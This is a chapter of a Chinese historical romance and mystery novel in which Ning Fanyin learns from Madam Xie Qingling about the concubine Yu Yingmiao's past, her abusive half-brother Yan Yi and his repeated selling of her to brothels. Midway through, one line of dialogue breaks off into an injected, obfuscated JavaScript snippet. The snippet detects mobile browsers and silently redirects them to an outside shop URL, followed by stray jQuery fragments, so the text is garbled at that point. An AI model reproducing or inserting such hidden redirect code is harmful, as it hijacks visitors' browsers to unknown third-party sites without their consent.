宁繁音小心翼翼地看了一眼周继驰的脸色,只见他深吸一口气,无奈地闭眼,睁眼之时眼底已是抑制不住的气急败坏:“宁繁音,虞夫人是当今圣上的妃子——”
周继驰强调道:“是妃子!你这么一句话够你掉几个脑袋?!”
宁繁音像是反应过来,畏畏缩缩说道:“不是...就不是喽,只是听见静安公主...”
周继驰忍不住打断道:“她说什么你都听吗?刚刚那个情况我不相信你听不出来到底是怎么回事!”
周继驰越说越气愤,每一个字都像是从胸腔里活生生挤出来的一样:“怎么?非要在我面前装傻充楞吗?”
宁繁音错开周继驰的视线,一言不发,心里暗自琢磨周继驰这一不顺心就暴跳如雷的性子到底是随了谁?明明周夫人还是很温柔的。
周继驰见宁繁音耷拉着脑袋,长叹一口气,解释道:“几年前,静安公主因为迷恋茶馆楼坊里的话本子,对宫中的侍卫起了捉弄的心思,结果真的如同话本子那般,静安公主喜欢上了一个侍卫。”
“甚至偷偷带那个侍卫进了寝宫,非常不凑巧,被当时的宫女发现了,那宫女报给了虞夫人,静安公主担心自己被虞夫人处罚,便搬出我的名声来,只道是下棋而已。”
周继驰声音微微压低,一字一句详细解释:“事情就是这样,我不知道为什么后面会变成京中传闻那般,但我和静安公主绝对一清二楚,从未有过私情。”
宁繁音眼睛一时之间不知道该看向何处,磕磕巴巴道:“我只是...随便一听,哈哈,随便好奇一下...哈哈哈...”
目光偷偷看向周继驰,见他整张脸紧绷,眼神中带着严肃德锋芒,宁繁音心虚地弯了下嘴角,扯出一个似笑飞笑的笑脸。
气氛正是尴尬的瞬间,班放的声音传来:“宁小姐,夫人请!”
宁繁音如获救命稻草,却不敢面上显现出来,吞吞吐吐道:“我得去见周夫人了,哥哥还在等我。”
说罢也不管周继驰到底有什么反应转身就向着正殿走去。
“等等!”
周继驰上前一步,拦住宁繁音的去路,站在宁繁音面前,自上而下俯视宁繁音,语气微微一松:“寿春楼送过去的饭合口味吗?”
宁繁音一愣,没有想到竟然是因为这个问题。
“还不错...只是不用再送了,我吃不下那么多。”宁繁音能看见周继驰胸前的衣襟上的花纹,还有一股若隐若现浮在空气之中的清香,可仔细去闻又消失得无影无踪。
“骗子”周继驰似乎看出了宁繁音的小心思,更近一步,“你根本没有吃。”
宁家虽然不及周家那么权势滔天,不及王家那么富贵滚滚,但是宁繁音口中的一点饭还是供应的起,再者宁繁音素来喜欢清淡,这送来的饭油水多,实在是有点多余。
不是没有拒绝过,只是寿春楼只听周继驰的,毕竟付钱的才是大爷,宁繁音这个不付钱,还想着断人财路,寿春楼自然不会听她的话,糊弄着应付宁繁音,然后乐呵呵接着送。
不过好在宁之遥需要,宁之遥因为学规矩总是被罚,饿肚子的时间多,现在基本就是一到傍晚就急匆匆冲进宁繁音的院子,非常乖巧地等待寿春楼小厮的到来。
“宁繁音”周继驰浅浅唤了一声,不似之前那般强势、愤怒,语调低弱的几乎要消失在呼吸中。
周继驰嘴角不可察觉地动了动,眼神久久凝聚在宁繁音的身上,最终却没有说出口,半晌之后,无奈道:“去见我母亲吧,关于虞夫人的事,问她的确是最好的选择。”
正殿——
谢清灵在周继驰和宁繁音身上来回扫过,又看了一眼宁修齐,最后向着宁繁音,问道:“发生什么事了?”
宁繁音神色微正:“有一个不情之请,我已经开始查当年沈家的案子,只是我初到京都,有很多事情知之甚少,所以有些问题还望周夫人解答一二。”
谢清灵这几天听京城里流言蜚语也听了不少,心里大概也琢磨出宁繁音想做什么,神色复杂,半晌道:“说罢。”
宁繁音:“这件事本应该问虞...虞夫人更加合适,但是我们还是想先问问您。”
宁繁音将案卷待查的事情向谢清灵一一说明了,谢清灵沉思片刻,说道:“颜义这个人我听阿妙说过。”
宁繁音眼睛一亮。
当年虞夫人进宫前只是一个小门户里的庶女,虞家本在青州又一份算的上还不错的家业,只是家道中落,虞夫人虞萦妙就前来京都投奔亲戚,中途饥寒交迫,恰好被当时结伴出门踏青的沈凝烟和谢清灵遇到,两人见她孤苦,索性将她收留了下来,虞萦秒长的极美,偶然之中被陛下看中,进了宫,成为了虞贵人。
谢清灵一语道毕,又说道:“其实阿妙之前的事我们知道的不多,但是颜义这个人倒是影响颇深。”
回想起这件事情来,谢清灵神色就掩饰不住嫌弃:“阿妙家里不知道都是些什么亲戚。”
当年虞萦妙还在沈府的时候,颜义曾经找上门来,颜义长得凶横,张口就是要钱,谢清灵回想着沈家人当时的形容,那人一副乞丐模样,蓬头垢面,沿着后颈直至胸膛有一条长长的刀疤,声音嘶哑,说话粗鄙不堪。
“叫虞家那个小娘们出来!那小贱人还欠着我一笔债,想这么就算了?那不可能!”颜义站在沈家门口大叫大闹,引出众人纷纷出来看热闹。
虞萦妙躲在马车里脸色苍白,不敢出声。沈凝烟见状,低声安抚几句,便安排小厮上去驱赶。
同乘马车的谢清灵双手叉腰,气不打一处来,扯着嗓子叫道:“什么人还敢在沈府面前叫嚣,看本小姐不教训教训他!”说完勾腰就要冲出去,沈凝烟一把拉住,说道:“清灵,别去,叫人打发一下就行了。”
谢清灵瞧出其中有些许隐情,忍不住小声问道:“这人谁啊?”
一直躲在后面的虞萦妙一脸苍白,颤颤巍巍开口道:“是...是我哥哥。”
谢清灵脸色不太自然,道:“那...我不...不教训了。”
而后就有一个身强体壮的小厮将颜义丢到了大街上,谢清灵透过车窗,隐约瞧见那人一瘸一拐的被人推搡着离开,嘴里还哇哇大叫道:“你个小娘们,自己过上好日子了,现在要当白眼狼,我告诉你,我做鬼也不能放过你,你欠着我一笔血债,我要生生世世缠着你,让你不得好过,哈哈哈哈哈哈!”
“夫人可知道是什么血债?”宁繁音皱眉问道。
谢清灵道:“当时我听得毛骨悚然,还以为阿妙是什么深藏不露的绝世高手,错杀了什么不该杀的人。不过,之后我偷偷问过阿妙这件事,阿妙模模糊糊说了一半,但是剩下的我找人打听了打听,大概也知道的差不多。”
原来,当时虞家解散以后,虞家家主被四处上门讨债的债主缠得焦头烂额,忙着四处躲债,结果引出来一个藏在外面养了多年的私生子——颜义。平日里好吃好吃好喝养着的颜义因为虞家的解散断了财路,一时之间受不了苦,上门大吵大闹,结果混乱之中,不知哪位失手将颜义的母亲打死,当下颜义气红了眼,要虞家死活给个说法,哪知,当时虞家家主已经自顾不暇,根本顾不上再处理这档子事,匆匆给颜义撂下一句:“虞家剩下什么都给你”就匆匆跑路了,时至今日依旧没有音讯。
这么一句话可害惨了颜义,虞家那个时候还能剩下什么?只有一堆还不完的烂账。
虞家人为了逃债,一哄而散,虞萦妙当时年纪小,慢走一步,被颜义抓住,不知从哪个人嘴里传出来当时颜义的母亲就是虞萦妙这一房的人打死的,还说虞萦妙的母亲生性暴躁,必定就是凶手,这谣言愈演愈烈,让本就怒火中烧的颜义更加怒不可遏,折磨着虞萦妙就要她血债血偿,据说当时十里八荒都知道虞家有个小女儿被折磨的不成人形。
“虞夫人也是一个可怜人,事情并非由她而起,却要她来承担后果。”宁繁音叹道。
周继驰皱眉,一言不发,似乎不相信一直以来备受尊敬的虞夫人竟然会被欺负至此。
谢清灵见气氛沉重,打着哈哈说道:“这都是陈年往事,应该和沈家的案子没有什么关系吧。”
自进入偏殿以来,宁修齐就一声不吭,听到此处,似有所想,思虑半晌问道:“那之后呢?夫人可有再见过颜义?”
谢清灵摇头说道:“没有,当时凝烟说给一笔钱打发算了,就算给这恩怨做个了结,只要以后别来闹就好了,阿妙后面也就过上了清净的日子,再之后就没有听说过了。”
宁繁音道:“夫人刚刚说过之前也找人调查过虞夫人,有什么异常的地方吗?”
谢清灵喃喃道:“异常的地方...”沉思片刻,虞夫人突然出声道:“青楼!”说完后知后觉收了声,脸上是一闪而过的惊慌失措,之后便是一言难尽长久的沉默。
三双眼睛直勾勾地盯着她,等着谢清灵后面继续说下去。
谢清灵讪讪道:“这事和沈家一案没有关系,况且...这件事情并非小事。”
谢清灵瞥见周继驰,下意识道:“我说周继驰,平时见不着你人,现在谈论起长辈们的私事,你倒是听的头头是道,听学你不在行,听这种八卦你就来劲?”
周继驰脖子一缩,“母亲大人,好歹我还是清鸿院的学生,”
谢清灵嘲笑道:“人家繁音是要查案子,你是不是又在捣乱?这在场的将来都是一家人,我告诉你,将来你要是对宁繁音一丁点不好,我就......”
宁修齐听见谢清灵的话投来疑惑的目光,宁繁音顿时心惊肉跳,张皇失措地打断道:“周夫人——”
话音一落,却见周继驰脸色莫名一沉,宁繁音心里却微微一松,悄悄看了一眼宁修齐,暗道:还好还好,哥哥还不知道。
“日后的事情自然日后再说,现在清鸿院的事情更要紧”宁繁音硬着头皮给自己断然打断谢清灵的话找了个借口。
谢清灵看看一脸阴沉的周继驰,看看一脸惊慌的宁繁音,又看看一脸茫然的宁修齐,心里一阵纳闷:这事还有什么好瞒着的?
不过谢清灵还是转了话题,说道:“关于虞夫人的事,知道的人越少越好,只是颜义当真和虞夫人没有什么牵扯,其中缘由,若是想知道,我想只告诉繁音。”
周继驰一脸不服,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056179|143071||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说道:“我也是清鸿院的学生,怎么我就查不得?”说完撇了一眼宁繁音,道:“况且,我不是在帮他们查案子吗?”
谢清灵脸上一喜,来回打量,嘴里不经连连说好,丝毫没有发现宁修齐脸上的茫然已经变成了森森冷意。
宁繁音见状生怕谢清灵又说出什么不得了的话,连忙将话扯回到刚刚的话题上:“夫人刚刚是说青楼?不知这其中可否告知?”
谢清灵道:“这.....你们要是想知道,那我就说与你们听,不过,出了此门,你们万不可说出去一个字”
宁繁音,周继驰齐声同意,一边反应过来的宁修齐阴气沉沉,此刻只能压着胸中隐隐怒气点了点头。
当年颜义折磨虞萦妙折磨了一段时间就放弃了,可不是因为杀母之仇已经泄愤,而是不得不面对一个问题。
虞老爷子留下了一堆破债,眼下被人知道还有颜义这个便宜儿子,自然债务都落到了颜义身上,就当时的状况来说,别说还债,连日常温饱都难以维持,于是,颜义的歪主意打到了虞萦妙的头上。
当时的虞萦妙可谓是绝妙佳人,一颦一笑之间都能勾人神魂,颜义转手就将虞萦妙卖给了青楼。
谢清灵有些感概,忍住心中愤愤不平:“这个做兄长的,没有一天疼爱自己的妹妹,大难临头,还想着靠妹妹摆脱困境,不是人渣是什么?”
谢清灵将桌子拍的啪啪响,义正言辞:“这个王八蛋!当初阿妙还大发善心的救过他,白眼狼都没有这么当的...”
谢清灵恶狠狠咒骂了一句,转眼想到还有人在,脸上微红,轻咳几声,干巴巴地解释道:“我的意思是...颜义这人...实非君子...”
宁繁音心道:虞夫人经历如此多磨难还能温和待人,看来真当是极好的人。
当年颜义将虞萦妙卖进青楼以后本以为可以好吃好喝的拿上一大笔钱,哪知这虞萦妙刚进青楼转头就逃了出来。这青楼可不是做亏本买卖的主,虞萦妙找不到了,这颜义还是能找到的,于是又找上了颜义,一顿棍棒伺候之后,在颜义再三保证回把虞萦妙抓回来的情况下,青楼放了他。
周继驰语气散漫:“颜义肯定转头就跑了,这种没钱的小人,没有什么诚信可言。”
谢清灵点点头:“的确,不过这次事情让颜义发现了一个生钱的好办法——”
抓了虞萦妙,卖出去,反正虞萦妙会自己逃跑,到时候再抓住,再卖,如此一来,不仅钱财源源不断,也可出口心中恶气。反正就算最后虞萦妙没有逃出来,那他也是不亏的。
就这样,虞萦妙一边跑一边被抓,一边被卖一边逃,这样一路逃到了京城。
谢清灵说到这里,言辞之间严肃了几分:“这事一直没人知道,当年我费尽心思调查了一番才知道这样的原委,不过那时候,陛下已经有意将阿妙纳入宫中,我也不再多言。”
“不过现在想起来,当初这些不为人知的原委,也许是陛下要偏袒几分,陛下这么多年对阿妙的喜爱还是有目共睹的。”
谢清灵有所感叹,转而又不放心地嘱咐道:“这事说起来还是见不得人的,毕竟现在阿妙现在进了宫,这些事情知道的人越少越好,免得遭人非议。”
宁繁音明白谢清灵的顾虑,说道:“周夫人请放心,此间事情必然不会从我们嘴里传出去,京都人多语杂,不必要的事情我们绝不会传出去的。”
周继驰难得附和道:“我不会”
这话一出,宁修齐也知道事情并非小可,出声道:“我是清鸿院的学生,秉持不闻流言,不传是非,自然也不会传出去。”
周继驰轻哼一声,也不再多说什么。
宁繁音生怕再次因为什么鸡毛蒜皮的小事争锋相对,连忙打断了话:“当然当然,清鸿院的引论本是想要论公正,就事论事而已,”
说完,宁繁音似乎还有担心,说道:“只不过,这次清鸿院引论不止我们一人,还有其他人,想来也会有人注意到,到时候...恐怕这些都会被查出来...”
谢清灵一挥手,不太在意地说道:“别人自然好说,清鸿院是查陈年旧案,这些往事本来这事和沈家一案没有什么关系,就算要查,也不过是查颜义,虞夫人那边自然能掩盖几分。”说完谢清灵眼神看向宁繁音,停顿了片刻,说道:“繁音不一样,这些事情她如果想知道,我必然全部告知,毕竟涉及了...一些往事,就算只有一点点,你能知道也是好的。”
宁繁音心知谢清灵说的是母亲沈凝烟,心下微微一动,起身拜谢再三:“多谢夫人告知!”
虞夫人的事情既然已经知晓,宁繁音宁修齐二人自然不再多留,临行前,谢清灵像是突然想到了什么,叫住了即将带着宁繁音离开的宁修齐:“对了宁二公子,我见你们宁家藏着繁音沈家人的身份,想来是多有不便,我也不方便插手做什么。但是过些日子老周就回来了,刚好我家老二也要回来,我们两家的婚事还是及早定下,不如劳烦代为转告一下,宁周两家好好谈一谈,我们什么时间都方便的。”
宁修齐虽有猜测,可这番话早已超出了自己预料的范围:“什么?!什么婚事?!”